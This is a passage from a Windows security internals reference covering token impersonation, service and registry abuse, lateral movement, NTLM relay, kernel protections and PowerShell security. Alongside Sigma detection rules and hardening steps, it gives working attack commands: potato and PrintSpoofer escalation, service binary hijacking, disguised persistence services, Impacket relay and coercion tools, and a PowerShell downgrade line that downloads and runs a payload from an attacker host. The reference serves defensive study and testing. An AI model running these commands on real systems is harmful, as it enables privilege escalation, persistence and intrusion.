| Silver Potato | 2024 | Local NTLM relay via HTTP->SMB reflection | SeImpersonatePrivilege |
| Coerced Potato | 2024 | MS-EFSR/MS-RPRN coercion to local pipe | SeImpersonatePrivilege |
Generic potato flow:
1. Attacker service account creates named pipe: \\.\pipe\attacker_pipe
2. Trigger SYSTEM process to authenticate to attacker_pipe
(via DCOM activation, print spooler, EFSRPC, etc.)
3. SYSTEM connects to attacker_pipe
4. ImpersonateNamedPipeClient() → thread runs as SYSTEM
5. DuplicateTokenEx() → create primary SYSTEM token
6. CreateProcessWithTokenW() → spawn cmd.exe as SYSTEM
Juicy Potato example:
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\temp\out.txt" -t * -c {CLSID}
# CLSIDs that work (system has INTERACTIVE SYSTEM):
# {4991d34b-80a1-4291-83b6-3328366b9097} — BITS
# {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} — CLSID_WbemLevel1Login
# Different per OS version — check: https://ohpe.it/juicy-potato/CLSID/
PrintSpoofer (simpler than potato, same concept):
# Exploits print spooler named pipe impersonation
PrintSpoofer.exe -i -c cmd.exe
# Creates pipe \\.\pipe\test\pipe\spoolss
# Spooler service (SYSTEM) connects → impersonate → SYSTEM shell
9.5 Named Pipe Detection
title: Named Pipe Creation for Token Impersonation
id: c4d5e6f7-a8b9-0123-cdef-012345678901
status: experimental
description: Detects creation of named pipes commonly used in potato-style privilege escalation attacks
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 17 # PipeCreated
PipeName|contains:
- '\pipe\test\pipe\spoolss' # PrintSpoofer
- '\pipe\9170-' # JuicyPotato pattern
selection_process:
EventID: 18 # PipeConnected
Image|contains:
- 'JuicyPotato'
- 'PrintSpoofer'
- 'GodPotato'
- 'SweetPotato'
condition: selection or selection_process
falsepositives:
- Penetration testing tools during authorized assessments
level: critical
tags:
- attack.privilege_escalation
- attack.t1134.001
Notable named pipes for monitoring:
| Pipe Name | Owner | Security Relevance |
|---|---|---|
\pipe\lsass |
LSASS | Authentication traffic |
\pipe\epmapper |
RPC | Endpoint mapper — lateral movement |
\pipe\svcctl |
SCM | Remote service management |
\pipe\atsvc |
Task Scheduler | Remote task creation |
\pipe\samr |
SAM | Account enumeration |
\pipe\lsarpc |
LSA | Policy and trust enumeration |
\pipe\netlogon |
Netlogon | Domain authentication |
\pipe\srvsvc |
Server service | Share enumeration |
\pipe\wkssvc |
Workstation service | Workstation info |
\pipe\spoolss |
Print Spooler | Print bug / coercion |
\pipe\efsrpc |
EFS | PetitPotam coercion |
\pipe\psexecsvc |
PsExec | Remote execution indicator |
10. Windows Services Internals
10.1 Service Control Manager (SCM)
The SCM (services.exe) manages Windows services. It is started by wininit.exe during boot and runs as SYSTEM.
SCM responsibilities:
- Maintains service database (registry:
HKLM\SYSTEM\CurrentControlSet\Services\) - Starts/stops services, handles dependencies
- Manages service accounts and credentials
- Exposes RPC interface for remote service management (via
\pipe\svcctl)
Service registry structure:
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
Type = REG_DWORD — Service type (kernel driver, own process, shared, etc.)
Start = REG_DWORD — Start type (Boot, System, Auto, Manual, Disabled)
ErrorControl = REG_DWORD — Error handling (Ignore, Normal, Severe, Critical)
ImagePath = REG_EXPAND_SZ — Binary path (may be unquoted!)
ObjectName = REG_SZ — Account (LocalSystem, NT AUTHORITY\LocalService, domain\user)
DisplayName = REG_SZ — Friendly name
Description = REG_SZ — Description
DependOnService = REG_MULTI_SZ — Dependencies
FailureActions = REG_BINARY — Recovery actions on failure
RequiredPrivileges = REG_MULTI_SZ — Privilege allowlist (if specified)
ServiceSidType = REG_DWORD — 0=None, 1=Unrestricted, 3=Restricted
Service start types:
| Value | Name | Description |
|---|---|---|
| 0 | Boot | Loaded by boot loader (kernel drivers only) |
| 1 | System | Started by IoInitSystem (kernel drivers) |
| 2 | Automatic | Started by SCM at boot |
| 3 | Manual | Started on demand |
| 4 | Disabled | Cannot be started |
10.2 Service Account Types
| Account | SID | Network Identity | Privileges |
|---|---|---|---|
| LocalSystem | S-1-5-18 | Computer$ (machine account) | Full system privileges |
| LocalService | S-1-5-19 | Anonymous | Minimal privileges |
| NetworkService | S-1-5-20 | Computer$ (machine account) | Minimal + network identity |
| Virtual Account | S-1-5-80-... | Computer$ | Per-service isolation (NT SERVICE\ServiceName) |
| gMSA | Domain SID | Domain identity | Managed password, domain auth |
10.3 Service Exploitation Techniques
Unquoted Service Paths (T1574.009)
If ImagePath contains spaces and is not quoted, Windows tries paths left-to-right:
ImagePath: C:\Program Files\My App\service.exe
Windows tries:
1. C:\Program.exe
2. C:\Program Files\My.exe
3. C:\Program Files\My App\service.exe
# Find unquoted service paths
Get-WmiObject Win32_Service | Where-Object {
$_.PathName -notmatch '^"' -and
$_.PathName -match '\s' -and
$_.PathName -notmatch '^C:\\Windows\\'
} | Select-Object Name, PathName, StartMode, StartName
# Manual check
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
Weak Service Permissions (T1574.011)
# Check service permissions with accesschk
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
# Dangerous permissions on service:
# SERVICE_CHANGE_CONFIG — can change binary path
# SERVICE_ALL_ACCESS — full control
# WRITE_DAC — can modify permissions
# WRITE_OWNER — can take ownership
# GENERIC_WRITE — can change config
# Exploit: change service binary to payload
sc config VulnService binpath= "C:\temp\payload.exe"
sc stop VulnService
sc start VulnService
# Payload executes as the service account (often SYSTEM)
DLL Hijacking via Services (T1574.001)
# Services that load DLLs from writable locations
# 1. Find service binary locations
Get-WmiObject Win32_Service | Select-Object PathName | Sort-Object -Unique
# 2. Check write permissions on binary directories
icacls "C:\Program Files\VulnApp\"
# 3. Use procmon to identify DLL search order failures
# Filter: Operation=CreateFile, Result=NAME NOT FOUND, Path ends with .dll
# Common hijackable DLLs (loaded but not found):
# wlbsctrl.dll — loaded by IKEEXT service
# wlanhlp.dll — loaded by various network services
# SSPICLI.dll — some services search CWD first
Service Creation for Persistence
# Create a service for persistence (T1543.003)
sc create EvilService binpath= "C:\temp\payload.exe" start= auto obj= LocalSystem
sc description EvilService "Windows Update Helper Service"
# PowerShell
New-Service -Name "EvilService" -BinaryPathName "C:\temp\payload.exe" -StartupType Automatic -Description "Windows Update Helper"
# Cleanup
sc delete EvilService
10.4 Service Detection
title: Suspicious Service Installation
id: d5e6f7a8-b9c0-1234-defg-123456789012
status: stable
description: Detects installation of services with suspicious binary paths or running as SYSTEM from non-standard locations
logsource:
product: windows
service: system
detection:
selection:
EventID: 7045 # New service installed
filter_normal:
ServiceFileName|startswith:
- 'C:\Windows\'
- 'C:\Program Files\'
- 'C:\Program Files (x86)\'
- '"C:\Windows\'
- '"C:\Program Files\'
condition: selection and not filter_normal
falsepositives:
- Third-party software installed to non-standard locations
- Custom enterprise applications
level: medium
tags:
- attack.persistence
- attack.t1543.003
11. Registry Security
11.1 Registry ACLs and Permissions
Registry keys have security descriptors like files. Key permissions:
| Permission | Constant | Description |
|---|---|---|
| KEY_QUERY_VALUE | 0x0001 | Read values |
| KEY_SET_VALUE | 0x0002 | Create/modify values |
| KEY_CREATE_SUB_KEY | 0x0004 | Create subkeys |
| KEY_ENUMERATE_SUB_KEYS | 0x0008 | Enumerate subkeys |
| KEY_CREATE_LINK | 0x0020 | Create symbolic link |
| KEY_ALL_ACCESS | 0xF003F | Full control |
| DELETE | 0x10000 | Delete key |
| WRITE_DAC | 0x40000 | Modify DACL |
| WRITE_OWNER | 0x80000 | Change owner |
# Check registry key permissions
Get-Acl "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | Format-List
# Find registry keys writable by non-admin users
accesschk.exe -kwsu "BUILTIN\Users" HKLM\SOFTWARE
accesschk.exe -kwsu "Everyone" HKLM\SYSTEM\CurrentControlSet\Services
# Specific service key permissions
accesschk.exe -kvw "Authenticated Users" "HKLM\SYSTEM\CurrentControlSet\Services\VulnService"
11.2 Registry Persistence Locations (Comprehensive)
User-level autoruns:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKCU\Environment\UserInitMprLogonScript
Machine-level autoruns:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{GUID}\StubPath
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SetupExecute
Service-based persistence:
HKLM\SYSTEM\CurrentControlSet\Services\<name>\ImagePath
HKLM\SYSTEM\CurrentControlSet\Services\<name>\Parameters\ServiceDll
Authentication-based persistence:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
Image execution options (IFEO) hijacking:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>\Debugger
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<target.exe>\MonitorProcess
Print monitor persistence:
HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\<MonitorName>\Driver
WMI provider persistence:
HKLM\SOFTWARE\Classes\CLSID\{GUID}\InprocServer32 — COM/WMI provider DLLs
AppInit_DLLs (legacy, disabled by Secure Boot):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs = 1
11.3 Registry Monitoring
# Enumerate all autorun locations (Sysinternals Autoruns)
autorunsc.exe -a * -c -h -s -v -vt | ConvertFrom-Csv
# Monitor registry changes via Sysmon (Event IDs 12, 13, 14)
# 12 = RegistryEvent (Object create and delete)
# 13 = RegistryEvent (Value Set)
# 14 = RegistryEvent (Key and Value Rename)
title: Registry Persistence via Image File Execution Options
id: e6f7a8b9-c0d1-2345-efab-234567890123
status: stable
description: Detects setting of debugger value in IFEO keys which can be used to hijack process execution
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject|contains: 'Image File Execution Options'
TargetObject|endswith:
- '\Debugger'
- '\GlobalFlag'
filter:
Details|contains:
- 'vsjitdebugger'
- 'devenv.exe'
condition: selection and not filter
falsepositives:
- Visual Studio debugger registration
- Application compatibility settings
level: high
tags:
- attack.persistence
- attack.t1546.012
12. Windows Networking for Lateral Movement
12.1 SMB (Server Message Block)
SMB is the primary file sharing and named pipe transport protocol. Default port: 445 (direct) or 139 (over NetBIOS).
SMB versions:
| Version | Windows | Key Features |
|---|---|---|
| SMB 1.0 | XP/2003 | Legacy, EternalBlue vulnerable, should be disabled |
| SMB 2.0 | Vista/2008 | Improved performance, larger reads/writes |
| SMB 2.1 | 7/2008R2 | Opportunistic locking, large MTU |
| SMB 3.0 | 8/2012 | Encryption, multichannel, RDMA |
| SMB 3.0.2 | 8.1/2012R2 | Improved security |
| SMB 3.1.1 | 10/2016+ | Pre-authentication integrity, AES-128-GCM encryption |
SMB security settings:
# Check SMB configuration
Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol, EnableSMB2Protocol, EncryptData, RejectUnencryptedAccess
# Disable SMBv1
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# Require SMB signing (prevents relay)
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
# Enable SMB encryption
Set-SmbServerConfiguration -EncryptData $true -Force
12.2 SMB-Based Lateral Movement
# PsExec-style execution (T1021.002)
# 1. Connect to ADMIN$ or C$ share
# 2. Copy service binary
# 3. Create and start remote service via \pipe\svcctl (SCM RPC)
# 4. Service executes payload
# 5. Cleanup: stop service, delete binary
# Impacket psexec
psexec.py domain/user:password@target cmd.exe
# Impacket smbexec (no binary drop — uses cmd.exe service)
smbexec.py domain/user:password@target
# Impacket atexec (via scheduled task over \pipe\atsvc)
atexec.py domain/user:password@target "whoami"
# CrackMapExec — mass lateral movement
crackmapexec smb targets.txt -u admin -p password --exec-method smbexec -x "whoami"
12.3 RPC (Remote Procedure Call)
RPC underpins most Windows remote management. Key interfaces:
| Interface | UUID | Pipe | Purpose |
|---|---|---|---|
| SAMR | 12345778-1234-ABCD-EF00-0123456789AC | \pipe\samr | SAM remote |
| LSA | 12345778-1234-ABCD-EF00-0123456789AB | \pipe\lsarpc | LSA policy |
| DRSUAPI | E3514235-4B06-11D1-AB04-00C04FC2DCD2 | \pipe\drsuapi | AD replication (DCSync) |
| SVCCTL | 367ABB81-9844-35F1-AD32-98F038001003 | \pipe\svcctl | Service management |
| ATSVC | 1FF70682-0A51-30E8-076D-740BE8CEE98B | \pipe\atsvc | Task scheduler |
| WKSSVC | 6BFFD098-A112-3610-9833-46C3F87E345A | \pipe\wkssvc | Workstation info |
| SRVSVC | 4B324FC8-1670-01D3-1278-5A47BF6EE188 | \pipe\srvsvc | Server service |
| EFSRPC | C681D488-D850-11D0-8C52-00C04FD90F7E | \pipe\efsrpc | EFS (PetitPotam) |
| MS-RPRN | 12345678-1234-ABCD-EF00-0123456789AB | \pipe\spoolss | Print spooler (PrinterBug) |
12.4 NTLM Relay Attacks
NTLM relay captures authentication and forwards it to a different service:
Victim ──NTLM Auth──> Attacker ──Relay──> Target
(ntlmrelayx)
# Impacket ntlmrelayx — relay to SMB
ntlmrelayx.py -t smb://target -smb2support
# Relay to LDAP (for AD escalation)
ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user attacker
# Relay to ADCS (ESC8 — web enrollment)
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template DomainController
# Coercion methods to trigger authentication:
# PetitPotam (MS-EFSR)
python3 PetitPotam.py listener_ip target_ip
# PrinterBug (MS-RPRN)
python3 printerbug.py domain/user:password@target listener_ip
# DFSCoerce (MS-DFSNM)
python3 dfscoerce.py -u user -p password -d domain listener_ip target_ip
NTLM relay mitigations:
- SMB signing required on all systems
- LDAP signing and channel binding on domain controllers
- EPA (Extended Protection for Authentication) on web services
- Disable NTLM where possible (
LmCompatibilityLevel = 5, restrict NTLM via GPO)
12.5 WinRM (Windows Remote Management)
WinRM is Microsoft's implementation of WS-Management. Default ports: 5985 (HTTP), 5986 (HTTPS).
# Enable WinRM
Enable-PSRemoting -Force
# Remote execution via WinRM
Invoke-Command -ComputerName target -ScriptBlock { whoami }
# Interactive session
Enter-PSSession -ComputerName target
# CIM over WinRM (preferred over DCOM for WMI)
$session = New-CimSession -ComputerName target
Get-CimInstance -CimSession $session -ClassName Win32_Process
# Evil-WinRM (penetration testing tool)
evil-winrm -i target -u admin -p password
evil-winrm -i target -u admin -H ntlm_hash # Pass-the-hash
WinRM hardening:
# Restrict WinRM to specific IPs
Set-Item WSMan:\localhost\Service\IPv4Filter -Value "10.0.0.0/8"
# Require HTTPS
winrm set winrm/config/service '@{AllowUnencrypted="false"}'
# Disable Basic auth
winrm set winrm/config/service/auth '@{Basic="false"}'
# Enable audit logging
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Service" -Name enable_logon_events -Value 1
12.6 Network Detection
title: Lateral Movement via Remote Service Creation
id: f7a8b9c0-d1e2-3456-fghi-345678901234
status: stable
description: Detects remote service creation commonly used in PsExec-style lateral movement
logsource:
product: windows
service: system
detection:
selection_service:
EventID: 7045 # New service installed
selection_suspicious:
ServiceFileName|contains:
- 'ADMIN$'
- '\\127.0.0.1\'
- 'cmd.exe /c'
- 'powershell'
- 'mshta'
- 'rundll32'
condition: selection_service and selection_suspicious
falsepositives:
- SCCM remote installations
- Enterprise deployment tools
level: high
tags:
- attack.lateral_movement
- attack.t1021.002
13. Kernel Security Mechanisms
13.1 PatchGuard (Kernel Patch Protection — KPP)
PatchGuard detects unauthorized modifications to critical kernel structures and crashes the system (BSOD: CRITICAL_STRUCTURE_CORRUPTION).
Protected structures:
- SSDT (System Service Descriptor Table)
- IDT (Interrupt Descriptor Table)
- GDT (Global Descriptor Table)
- Kernel code sections (
.textof ntoskrnl, hal, etc.) - Critical kernel objects (process/thread lists, callback tables)
- MSR (Model-Specific Registers) — LSTAR, STAR, CSTAR
How PatchGuard works:
- Initializes at boot with random timer intervals (minutes to hours)
- Stores checksums/copies of protected structures
- On timer fire: compares current state against stored state
- If mismatch detected:
KeBugCheckEx(0x109, ...)— immediate BSOD
PatchGuard bypass techniques (historical, mostly patched):
- Timer manipulation — find and disable PatchGuard timer objects
- GsDriverEntry hook — intercept PatchGuard initialization
- Exception handler modification — redirect PatchGuard's bugcheck
- HyperGuard bypass — on VBS-enabled systems, PatchGuard runs in VTL 1 (much harder)
Red team implication: PatchGuard makes kernel-mode rootkits significantly harder on modern Windows. Attackers increasingly use BYOVD (vulnerable signed drivers) for one-shot kernel operations rather than persistent kernel hooks. [CONFIRMED]
13.2 Driver Signature Enforcement (DSE)
All kernel drivers must be signed with a valid certificate:
Signing requirements by OS:
| Windows Version | Requirement |
|---|---|
| Win 7/8 | SHA-1 or SHA-2 signed |
| Win 10 1607+ | Must be signed via Microsoft Hardware Developer Portal (attestation/HLK) |
| Win 10 with Secure Boot | Only Microsoft-signed drivers (cross-signed revoked) |
| Win 11 | HVCI-compatible + Microsoft-signed |
DSE bypass techniques:
- Test signing mode —
bcdedit /set testsigning on(requires admin + reboot, shows watermark) - BYOVD — load legitimate but vulnerable signed driver, use vulnerability for kernel R/W
- ci.dll patching — modify
g_CiOptionsglobal in ci.dll (caught by PatchGuard) - Boot configuration — boot into WinPE, disable DSE via
bcdedit /set nointegritychecks on
BYOVD (Bring Your Own Vulnerable Driver) — T1068:
Common vulnerable drivers exploited by threat actors:
| Driver | CVE | Capability | Used By |
|---|---|---|---|
DBUtil_2_3.sys (Dell) |
CVE-2021-21551 | Arbitrary kernel R/W | Various APTs |
RTCore64.sys (MSI) |
CVE-2019-18845 | Arbitrary kernel R/W | BlackByte |
gdrv.sys (Gigabyte) |
CVE-2018-19320 | Arbitrary kernel R/W | RobbinHood |
ene.sys (ENE Technology) |
— | Physical memory R/W | Lazarus Group |
procexp152.sys (Sysinternals) |
— | Process termination (PPL) | Multiple |
asio.sys (ASUS) |
— | Physical memory R/W | AvosLocker |
HpPortIox64.sys (HP) |
CVE-2020-6308 | I/O port access | Multiple |
# Check DSE status
bcdedit /enum | findstr "testsigning"
bcdedit /enum | findstr "nointegritychecks"
# List loaded drivers and their signatures
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Signer, IsSigned
# Check driver signature with sigcheck
sigcheck.exe -v C:\Windows\System32\drivers\suspect.sys
13.3 Secure Boot
Secure Boot ensures only trusted software loads during boot:
UEFI Firmware
└─> Verifies bootloader signature (bootmgfw.efi)
└─> Verifies Windows kernel signature (ntoskrnl.exe)
└─> Verifies driver signatures (DSE)
└─> ELAM driver loads first (WdBoot.sys)
└─> Evaluates other boot-start drivers
Secure Boot databases:
- db — authorized signatures (allowed to load)
- dbx — revoked signatures (blacklist)
- KEK — Key Exchange Key (authorizes db/dbx updates)
- PK — Platform Key (authorizes KEK updates)
Boot attack mitigations:
- Measured Boot — TPM records each boot component hash into PCR registers
- ELAM (Early Launch Anti-Malware) — WdBoot.sys evaluates boot drivers before they load
- Secure Launch (DRTM) — Intel TXT / AMD SKINIT creates dynamic root of trust
13.4 Virtualization-Based Security (VBS)
VBS uses the hypervisor to create isolated memory regions:
┌────────────────────────────────────────────────────┐
│ Hyper-V Hypervisor │
├──────────────────────┬─────────────────────────────┤
│ VTL 0 (Normal) │ VTL 1 (Secure World) │
│ │ │
│ NT Kernel │ Secure Kernel (securekernel│
│ User-mode apps │ .exe) │
│ Drivers │ Trustlets (isolated user- │
│ │ mode processes): │
│ LSASS ─(proxy)──────│──> LsaIso.exe (Cred Guard) │
│ │ hvix64.exe (HVCI) │
│ │ bioiso.exe (biometrics) │
│ Kernel memory │ Secure memory (VTL 0 │
│ (readable from VTL1)│ cannot access) │
└──────────────────────┴─────────────────────────────┘
VBS features:
- Credential Guard — LSASS secrets in VTL 1 (see Section 6.6)
- HVCI (Hypervisor-Enforced Code Integrity) — kernel code pages must be signed; prevents kernel code injection
- Kernel DMA Protection — blocks DMA attacks from Thunderbolt/PCIe devices
- Secure Enclaves — VBS-based enclave support for key isolation
13.5 HVCI (Hypervisor-Protected Code Integrity)
HVCI uses the hypervisor to enforce kernel code integrity. VTL 1 controls page table permissions — VTL 0 kernel cannot make a page both writable and executable.
What HVCI prevents:
- Kernel code injection (shellcode in kernel pool)
- ROP gadgets in writable kernel memory
- Unsigned code execution in kernel mode
- Modification of kernel code sections
What HVCI does NOT prevent:
- Data-only attacks (modifying kernel data structures)
- BYOVD with signed drivers (driver is legitimately signed code)
- Exploits that don't require code execution in kernel (data corruption)
# Check HVCI status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
Select-Object VirtualizationBasedSecurityStatus, SecurityServicesRunning, SecurityServicesConfigured
# Enable HVCI
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name Enabled -Value 1
# HVCI compatibility check for drivers
# Incompatible drivers will fail to load with HVCI enabled
# Check: https://docs.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity
14. PowerShell Security
14.1 PowerShell Logging
Three types of PowerShell logging (defense-critical):
Module Logging
Logs pipeline execution events for specified modules.
# Enable via GPO or registry
# Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Module Logging
# Or:
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name EnableModuleLogging -Value 1
New-Item "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Name "*" -Value "*"
# Event Log: Microsoft-Windows-PowerShell/Operational, Event ID 4103
ScriptBlock Logging
Logs the full text of PowerShell scripts, including dynamically generated code.
# Enable ScriptBlock Logging
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
# Event Log: Microsoft-Windows-PowerShell/Operational, Event ID 4104
# Suspicious ScriptBlocks are auto-logged even without this setting (Win10+)
# Auto-logged keywords: AdjustTokenPrivileges, IMAGE_NT_OPTIONAL_HDR64_MAGIC,
# Microsoft.Win32.UnsafeNativeMethods, ReadProcessMemory, SE_PRIVILEGE_ENABLED,
# LSA_UNICODE_STRING, MiniDumpWriteDump, PAGE_EXECUTE_READ, Net.Sockets,
# SECURITY_DELEGATION, TOKEN_ADJUST_PRIVILEGES, TOKEN_ALL_ACCESS, TOKEN_IMPERSONATE,
# TOKEN_PRIVILEGES, TOKEN_QUERY, Advapi32, kernel32.dll, ntdll, etc.
Transcription Logging
Saves full input/output text of all PowerShell sessions to files.
# Enable transcription
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name EnableTranscripting -Value 1
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name OutputDirectory -Value "C:\PSTranscripts"
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name EnableInvocationHeader -Value 1
14.2 AMSI Integration
PowerShell 5.0+ sends all script content through AMSI before execution:
Script text / Invoke-Expression input
└─> PowerShell engine
└─> AmsiScanBuffer(scriptContent)
└─> Windows Defender MpEngine
└─> Scan result (clean / detected)
└─> Block or allow execution
What gets AMSI-scanned:
- Script files (.ps1, .psm1, .psd1)
- Interactive commands
Invoke-Expressionarguments (after deobfuscation!)Add-TypeC# code- ScriptBlock creation
[ScriptBlock]::Create()content
14.3 Constrained Language Mode (CLM)
CLM restricts PowerShell to safe operations — no arbitrary .NET, no COM, no Add-Type:
# Check current language mode
$ExecutionContext.SessionState.LanguageMode
# Values: FullLanguage, ConstrainedLanguage, RestrictedLanguage, NoLanguage
# CLM enforcement methods:
# 1. AppLocker/WDAC policy (SystemWide) — most robust
# 2. __PSLockdownPolicy environment variable (easily bypassed)
# 3. JEA (Just Enough Administration) sessions
What CLM blocks:
Add-Type(custom C# compilation)- Direct .NET method calls on most types
- COM object creation
Invoke-Expressionwith non-constant strings- Arbitrary type creation/instantiation
- Most reflection operations
CLM bypass techniques (for authorized testing):
- Find allowed scripts/paths in AppLocker/WDAC policy
- Use PowerShell v2 (no CLM support — if available:
powershell -version 2) PSByPassCLM— custom runspace bypass- MSBuild inline tasks (runs outside PowerShell)
- InstallUtil.exe with custom class
14.4 Just Enough Administration (JEA)
JEA creates locked-down PowerShell endpoints with role-based command restrictions:
# JEA session configuration file
New-PSSessionConfigurationFile -Path .\JEAConfig.pssc -SessionType RestrictedRemoteServer `
-TranscriptDirectory C:\JEATranscripts `
-RunAsVirtualAccount `
-RoleDefinitions @{
'CORP\HelpDesk' = @{ RoleCapabilities = 'HelpDeskRole' }
'CORP\ServerAdmins' = @{ RoleCapabilities = 'ServerAdminRole' }
}
# JEA role capability file
New-PSRoleCapabilityFile -Path .\HelpDeskRole.psrc `
-VisibleCmdlets @(
'Restart-Service',
@{ Name = 'Get-Process'; Parameters = @{ Name = 'Name' } }
) `
-VisibleFunctions 'Get-ServerInfo' `
-VisibleExternalCommands 'C:\Windows\System32\ipconfig.exe'
# Register JEA endpoint
Register-PSSessionConfiguration -Name HelpDeskEndpoint -Path .\JEAConfig.pssc -Force
# Connect to JEA endpoint
Enter-PSSession -ComputerName server01 -ConfigurationName HelpDeskEndpoint
14.5 PowerShell Downgrade Attack
# If PowerShell v2 is available, it bypasses AMSI, CLM, and ScriptBlock Logging
powershell -version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
# Check if v2 engine is installed
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
# Remediation: remove PowerShell v2
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
Detection:
title: PowerShell Downgrade Attack to Version 2
id: a8b9c0d1-e2f3-4567-ghij-456789012345
status: stable
description: Detects PowerShell downgrade to version 2 which bypasses security controls including AMSI and ScriptBlock logging
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\powershell.exe'
CommandLine|contains:
- '-version 2'
- '-version 2.0'
- '-ver 2'
condition: selection
falsepositives:
- Legacy scripts explicitly requiring PowerShell v2
level: high
tags:
- attack.defense_evasion
- attack.execution
- attack.t1059.001
14.6 PowerShell Without powershell.exe
Attackers can run PowerShell without powershell.exe — evading process-name-based detection:
// C# — Host PowerShell runtime directly
using System.Management.Automation;
using System.Management.Automation.Runspaces;
var runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
var pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript("Get-Process | Out-String");
var results = pipeline.Invoke();
// results contains PowerShell output — no powershell.exe launched
Other PowerShell hosts to monitor:
pwsh.exe(PowerShell 7+)powershell_ise.exe- Any .NET application loading
System.Management.Automation.dll wsmprovhost.exe(WinRM PowerShell remoting host)
15. AppContainer and Sandbox Internals
15.1 AppContainer Model
AppContainers are a security isolation mechanism for UWP apps and modern sandboxes (Edge, Chrome sandbox layer):
Standard Process Token:
User SID: S-1-5-21-...-1001 (user)
Groups: Users, Everyone, ...
Integrity: Medium
AppContainer Process Token:
User SID: S-1-5-21-...-1001 (user)
AppContainer SID: S-1-15-2-{hash} (unique per app)
Capabilities: internetClient, documentsLibrary, etc.
Integrity: Low
Token flags: IsAppContainer = TRUE
AppContainer access control:
- Objects must have explicit ACE granting the AppContainer SID or
ALL APPLICATION PACKAGES(S-1-15-2-1) SID - Network access restricted to declared capabilities
- No access to user profile without capability
- Named object namespace is isolated (private object directory)
15.2 Capabilities
Capabilities are SIDs that grant specific permissions to AppContainers:
| Capability | SID | Access Granted |
|---|---|---|
